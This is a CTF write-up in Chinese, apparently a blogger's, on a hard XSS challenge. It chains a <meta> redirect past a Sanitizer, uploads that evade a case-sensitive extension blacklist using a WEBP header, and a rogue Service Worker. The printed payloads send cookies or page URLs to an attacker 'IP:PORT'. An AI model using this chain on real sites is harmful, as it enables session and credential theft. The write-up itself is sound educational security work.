一个硬核的XSS题,收获相当大(还得感谢CrumbledWall师傅点拨了我几次)

开局给了后端的源码,能看见里面用了腾讯的COS对象存储,可以上传文件到上面,docker-compose.yml里面还有一个名为的bot的服务但没有给出源码,能看出来后端有个接口会去连接这个bot

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
const express = require("express")
const isJpg = require('is-jpg')
const isPng = require('is-png')
const isWebp = require('is-webp')
const fs = require('fs')
const fileUpload = require('express-fileupload')
const bodyParser = require('body-parser')
const net = require('net')
const crypto = require("crypto")
const https = require('https')
var COS = require('cos-nodejs-sdk-v5')

const app = express()
const BOT_HOST = 'bot'
const BOT_PORT = 8080

app.use(fileUpload({ 
    limits: {
        fileSize: 2 * 1024 * 1024 // 2 MB
    },
    abortOnLimit: true
}))
app.use(bodyParser.urlencoded({ extended: true }))

async function uploadFileToCOS(file, fileName) {
    var cos = new COS({
        SecretId: 'xxxxxxxxxxxxxx',
        SecretKey: 'xxxxxxxxxxxxxx'
    });
    cos.putObject({
        Bucket: 'nese-1300117079',           /* 填入您自己的存储桶,必须字段 */
        Region: 'ap-beijing',                /* 存储桶所在地域,例如ap-beijing,必须字段 */
        Key: fileName,                       /* 存储在桶里的对象键(例如1.jpg,a/b/test.txt),必须字段 */
        Body: Buffer.from(file.data),        /* 必须 */
    }, function(err, data) {
        try {
            if (data.statusCode == 200) {
                return "File uploaded successfully! You can visit the file at " + data.Location
            } else {
                return "Failed!"
            }
        }
        catch (err) {
            return "Failed!"
        }
    })
}

app.get("/", (req, res) => {
    fs.readFile('index.html', 'utf-8', (err, data) => {
        if (err) throw err
        let generateNonce = crypto.randomBytes(16).toString("hex")
        const dataReplaced = data.replace(/nonce_must_be_replaced/g, generateNonce)
        res.write(dataReplaced)
        res.end()
    })
})

app.post('/upload/:md5', async (req, res) => {
    if (!req.files) return res.status(400).send(response('No files were uploaded.'))
    const md5Regex = /^[0-9a-fA-F]{32}$/
    const srcUrl = "https://nese-1300117079.cos.ap-beijing.myqcloud.com/"
    var suffix = req.files.newImage.name.split('.').slice(-1)
    var fileName = req.params.md5 + '.' + suffix
    if ((isPng(req.files.newImage.data) || isJpg(req.files.newImage.data) || isWebp(req.files.newImage.data)) && md5Regex.test(req.params.md5) && suffix != 'js' && suffix != 'html' && suffix != 'htm') {
        response = await uploadFileToCOS(req.files.newImage, fileName)
        res.send(response)
    } else {
        res.send("Failed!")
    }
})

app.post("/report", function (req, res) {
    const { url } = req.body
    if (url.search('https://challenge/') != 0) {
        return res.status(400).send('Invalid URL')
    }
    console.log(`[+] Sending ${url} to bot`)
    try {
        const client = net.connect(BOT_PORT, BOT_HOST, () => {
            client.write(url)
        })

        let response = ''
        client.on('data', data => {
            response += data.toString()
            client.end()
        })

        client.on('end', () => res.send(response))
    } catch (e) {
        console.log(e)
        res.status(500).send('Something is wrong...')
    }
})


const credentials = {
    key: fs.readFileSync('/opt/credentials/privatekey.pem'),
    cert: fs.readFileSync('/opt/credentials/certificate.pem')
};

const httpsServer = https.createServer(credentials, app)
httpsServer.listen(443)

/*
app.listen(8000, () => {
    console.log(`App 🚀 @ http://localhost:8000`)
})*/

寻找前端可控点

接下来看前端。首先发现前端有个异常严格的CSP,这里面的nonce每次刷新都会生成一个新的。

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; base-uri 'none'; object-src 'none'; img-src 'self' data: https://nese-1300117079.cos.ap-beijing.myqcloud.com/; script-src 'self' 'nonce-a068872e2c34b9f9687eada669107381'; style-src 'self' 'nonce-a068872e2c34b9f9687eada669107381'; frame-src https://nese-1300117079.cos.ap-beijing.myqcloud.com/ ">

然后是JS代码,首先发现有几个地方直接输出了HTML(当然有过滤):

  • name GET参数,会被document.getElementById("username").setHTML写到页面中,当然加了个HTML Sanitizer API进行过滤处理(这个似乎是浏览器直接实现的,也不知道内部的处理逻辑,但反正很严格就是了);
  • img GET参数,会被<img src="${filter(image)}" />写进页面中,这里的filter过滤了尖括号以及..,所以想提前闭合写入其他标签是不太可能了,只能给这个图片增减一些属性,再加上CSP的限制导致onerror这些脚本也会被ban掉,也没有什么利用价值;
  • 提交上传文件的时候会返回data并写进页面,但这里的数据不可控,通过后端代码也能看见没什么用;
  • Hash判断为#mycollection时会输出一个iframe,但很可惜这个值也不可控,写死在const里面;
  • 最后是读取Cookie中flag的值,并且加盐MD5后作为COS的资源链接,输出一个iframe,这个后面再说。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const filter = str => str.replace(/</g, '').replace(/>/g, '').replace(/\.\./g, '')
const url = new URL(location.href)
const srcUrl = "https://nese-1300117079.cos.ap-beijing.myqcloud.com/"
var name = "Anonymous"
var image = srcUrl + "default.png"

if (url.searchParams.get('name')!=='' && url.searchParams.get('name')!=null) {
    name = url.searchParams.get('name')
}
let sanitizer = new Sanitizer()
document.getElementById("username").setHTML('Hello, '+name+'! Here is your default avatar: ', {sanitizer: sanitizer})
if (url.searchParams.get('img')!=='' && url.searchParams.get('img')!==null) {
    image = url.searchParams.get('img')
}
document.write(`<img src="${filter(image)}" />`)

welcomeSrc = srcUrl + "welcome.html"
const user = {
    md5name: md5(name, 'salt'),
    firstcollection: welcomeSrc
}
showImage(name)

const form = document.querySelector('form')
form.addEventListener('submit', async (e) => {
    e.preventDefault()
    var formData = new FormData(form)
    const response = await fetch('/upload/'+user.md5name, {
        method: 'POST',
        body: formData
    })
    const data = await response.text()
    console.log(data)
    document.write(`<div>${data}</div>`)
})

if (document.location.hash==="#mycollection") {
    document.write(`<iframe width="1000" height="500" src="${user.firstcollection}" />`)
} else if (getCookie("flag") != undefined) {
    document.write(`<div>Here is the flag collection. <iframe src="${srcUrl}${md5(getCookie("flag"), 'salt')}.html" /></div>`)
}

综上发现只有三个地方是可控的,并且最后一个只能控制MD5。然后继续看后端代码会发现.html的后缀被ban了,因此这个MD5的可控也没办法访问到文件。

于是乎就只剩下这两个GET参数可用了,img这里由于filter的存在能做的事情也相当有限,尝试了各种各样的XSS Payload都没法整出来,只好作罢。

折腾Sanitizer

折腾了一阵子img之后发现没有什么进展,于是转换思路开始琢磨这个Sanitizer API的过滤有没有遗漏。询问了出题人,得到回答说并不需要绕过Sanitizer:

但其他的点也都没有突破口,于是还是Fuzz了一下哪些标签可用,不会被过滤:

1
2
3
4
5
6
7
8
9
// HTML tags array reference: https://xz.aliyun.com/t/7329#toc-8
var html = ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head", "header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select", "shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr", "xmp"];
html.forEach(h => {
    let u = document.getElementById("username");
    u.setHTML("<" + h + ">1</" + h + ">", { sanitizer: sanitizer });
    if (u.innerHTML.includes("<") && u.innerHTML.includes(">")) {
        console.log(h, u.innerHTML);
    }
})

输出如下:

1
a, abbr, acronym, address, area, article, aside, audio, b, bdi, bdo, big, blockquote, br, button, canvas, center, cite, code, datalist, dd, del, details, dfn, dialog, dir, div, dl, dt, em, fieldset, figcaption, figure, font, footer, form, h1, header, hgroup, hr, i, image, img, input, ins, kbd, label, legend, li, link, listing, main, map, mark, marquee, menu, meta, meter, nav, nobr, ol, optgroup, option, output, p, picture, pre, progress, q, rb, rp, rt, rtc, ruby, s, samp, section, select, small, source, span, strike, strong, style, sub, summary, sup, table, time, track, tt, u, ul, var, video, wbr

一眼丁真发现了<meta>标签可以用,也就是说可以插入标签实现跳转到指定页面、刷新等操作。结合上传点的代码,发现限制也并不严格。结合这两点,我们可以XSS插入跳转到任意恶意页面的<meta>标签,而这个页面也可以自己编写然后上传至COS上,以此来Bypass掉CSP。

利用Service Worker劫持请求

然后在这卡住了半天,因为仅仅能够跳转加上普通的XSS也没办法拿到更多的信息(COS和主页也是跨域的,读不到Cookie等信息)。

直到队友提醒了一波可以用Service Worker,瞬间恍然大悟,第一想到的是2020年西湖论剑的那个XSS题(因为是第一次在那碰到这个东西,所以印象极其深刻)。Service Worker可以理解为一个事件驱动的中间人代理,当这个东西被注册之后,对其所管理域下面的所有请求都会被Service Worker截获,随后便可以在里面进行任何非同步操作,再自定义一个返回的对象返回给浏览器。

于是乎,就有了个自动化跳转的劫持请求方案,下面浅浅画了个流程图:

图中首先Bot收到了我们发送的URL并访问,访问到包含XSS的Challenge页面,跳转到COS中存储的恶意页面Evil.html,该页面中包含创建并注册一个Service Worker的JS代码。注册完毕之后页面自动刷新,此时去往COS的流量就已经全部被Service Worker截获,依照攻击者编写的逻辑将访问页面的URL、Cookie等数据传送到攻击者的服务器中。

要注册一个合法的Service Worker需要满足下面几个要求:

  • HTTPS(避免中间人攻击)

  • 注册的JS Handler URI的MIME类型必须为text/javascript或者application/javascript等JS文件的合法MIME类型,否则会出现下面的错误:

  • 注册的源必须和站点源一致,且注册的域范围最大不能超过JS文件所在的域路径(也就是说不能越到JS文件所在目录的上级目录,只能在其目录或子目录下注册)

根据MDN Manual中给的样例,可以注册一个Service Worker,如下面将/域下的请求都注册到/evil.js处理:

1
2
3
4
5
6
7
8
9
if ('serviceWorker' in navigator) {
    navigator.serviceWorker.register('/evil.js', {
        scope: '/'
    }).then(function(reg) {
        console.log('Registration succeeded. Scope is ' + reg.scope);
    }).catch(function(error) {
        console.log('Registration failed with ' + error);
    });
};

evil.js中监听一个fetch的事件,每次域中拉取资源都会触发该事件,之后的每一次请求都会把当前请求的Cookie发送到攻击者的服务器中。事件中即可对事件的属性和页面的一些信息进行读取。但需要注意的是,Service Worker无法对DOM进行任何操作。

1
2
3
4
5
6
this.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    var body = "<script>window.open('http://IP:PORT/?'+document.cookie);</script>";
    var init = {headers: {"Content-Type": "text/html"}};
    event.respondWith(new Response(body, init));
});

每个Service Worker的有效时间为24小时,超时需要重新注册,当然也可以通过下面的代码提前释放所有的SW:

1
2
3
4
5
6
7
 navigator.serviceWorker.getRegistrations().then(function(registrations) {
    for(let registration of registrations) {
            registration.unregister()
    }
 }).catch(function(err) {
     console.log('Service Worker registration failed: ', err);
 });

上传HTML和JS文件

由后端代码可知,会检查上传文件的文件头来判断是否为图片文件,还会检查文件的后缀名。首先判断是否为JPG/PNG/WEBP格式(其实都是判断文件头),随后判断文件后缀。很容易发现这里的文件后缀判断没有考虑大写的情况,因此可以直接绕过。

1
2
3
4
5
6
if ((isPng(req.files.newImage.data) || isJpg(req.files.newImage.data) || isWebp(req.files.newImage.data)) && md5Regex.test(req.params.md5) && suffix != 'js' && suffix != 'html' && suffix != 'htm') {
    response = await uploadFileToCOS(req.files.newImage, fileName)
    res.send(response)
} else {
    res.send("Failed!")
}

对于HTML而言比较好处理,除了大写后缀的情况还有诸如.shtml.xhtml等后缀可用,测试过后发现在COS上只有.shtml能够解析;对于JS文件而言则只有大写后缀一个处理方法,但JS文件还需考虑脏数据问题,因为文件内容的开头必须是图片的文件头,此时发现JPG和PNG的文件头都含有不可见字符,JS解析会直接报错,只有WEBP文件头可以全为ASCII字符,因此使用WEBP文件头构造一个变量赋值语句或注释即可绕过。

1
2
3
4
5
RIFFAAAAWEBP = 1; // This works
//aaaaaaWEBP      // This also works
this.addEventListener('fetch', function (event) {
    ...
});

上传好了文件后,构造请求通过/report接口发送给Bot,等数据回显就可以了。整个流程如下:

  1. 由Challenge页XSS跳转到COS上的1.html,用于注册Service Worker,注册完之后会跳转至2.html;
  2. 2.html的内容为跳转回Challenge页,用于接收Flag。

下面是完整的Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<!-- db55d2f4ff948fbf228c738f322281e8.HTML -->
RIFFAAAAWEBP<!DOCTYPE html>
<html lang="en">
<script>
    if ('serviceWorker' in navigator) {
    navigator.serviceWorker.register('./db55d2f4ff948fbf228c738f322281e9.JS', {
        scope: '/'
    }).then(function(reg) {
        console.log('Registration succeeded. Scope is ' + reg.scope);
    }).catch(function(error) {
        console.log('Registration failed with ' + error);
    });
};location='./db55d2f4ff948fbf228c738f322281e0.HTML';
</script>
</html>
1
2
3
4
5
6
7
8
// db55d2f4ff948fbf228c738f322281e9.JS
RIFFAAAAWEBP = 1;
this.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    var body = "<script>window.open('http://IP:PORT/?'+document.URL);</script>";
    var init = {headers: {"Content-Type": "text/html"}};
    event.respondWith(new Response(body, init));
});
1
2
<!-- db55d2f4ff948fbf228c738f322281e0.HTML -->
RIFFAAAAWEBP<!DOCTYPE html><html lang="en"><script>location='https://challenge';</script></html>

最后在服务器上会收到一个URL,访问即为Flag。直到拿到Flag我才知道,原来主页取Cookie中flag的值的目的是为了让Bot将Flag弹回来hhh,所以要将页面跳转回主页,触发Bot通过iframe请求Cookie加盐MD5后拼合得到Flag的图像。

Reference